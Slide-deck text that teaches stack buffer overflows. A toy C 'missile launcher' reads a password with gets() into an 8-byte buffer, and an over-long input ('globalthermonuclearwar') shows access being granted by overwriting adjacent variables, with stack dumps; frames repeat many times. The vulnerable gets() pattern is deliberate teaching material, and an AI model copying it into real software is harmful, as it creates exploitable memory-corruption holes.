allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Then the return address. Before jumping into
gets()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Then the return address. Before jumping into
gets()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Then the return address. Before jumping into
gets()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
gets() will wait for input from the standard
input stream. Each character will be poked
sequentally into the response buffer until a
newline character, end-of-line or some kind of
error occurs.Then, before returning it will
append a '0' character to the buffer.
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Then the return address. Before jumping into
gets()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
First the pointer to the response buffer is
pushed on stack.
return address, next intruction in _main
pointer to stack frame for _main
gets() will wait for input from the standard
input stream. Each character will be poked
sequentally into the response buffer until a
newline character, end-of-line or some kind of
error occurs.Then, before returning it will
append a '0' character to the buffer.
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
If the input is 8 characters or more, then the
response buffer allocated on the stack is not big
enough, and in this case the data storage of the
other variables will be overwritten.
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
Then the return address. Before jumping into
gets()
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
Here is the exact stack data I got one time
I executed the code on my machine.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
Here is the exact stack data I got one time
I executed the code on my machine.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
Here is the exact stack data I got one time
I executed the code on my machine.
A lot of this is just padding due to
alignment issues.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
A lot of this is just padding due to
alignment issues.
Here is the exact stack data I got one time
I executed the code on my machine.
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
allowaccess (1 byte)
response (8 bytes)
n_missiles (4 bytes)
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0xbffffa40
0xbffffa6c
Let's focus just on our three "stack variables"
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
The following happened on my machine as I typed in:
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x88 0xfa 0xff 0xbf
0xa0 0x29 0xff 0xb7
0x02 0x00 0x00 0x00
0x00 0x40 0xfc 0x00
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
'g' 'l' 'o' 'b'
'a' 'l' 't' 'h'
'e' 'r' 'm' 'o'
'n' 'u' 'c' 'l'
'e' 'a' 'r' 'w'
'a' 'r' '0' 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
} return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
The following happened on my machine as I typed in:
globalthermonuclearwar
0xbffffa40
0xbffffa6c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
0xbffffa40
0xbffffa6c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
0xbffffa40
0xbffffa6c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
And, now we have partly explained why we got:
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
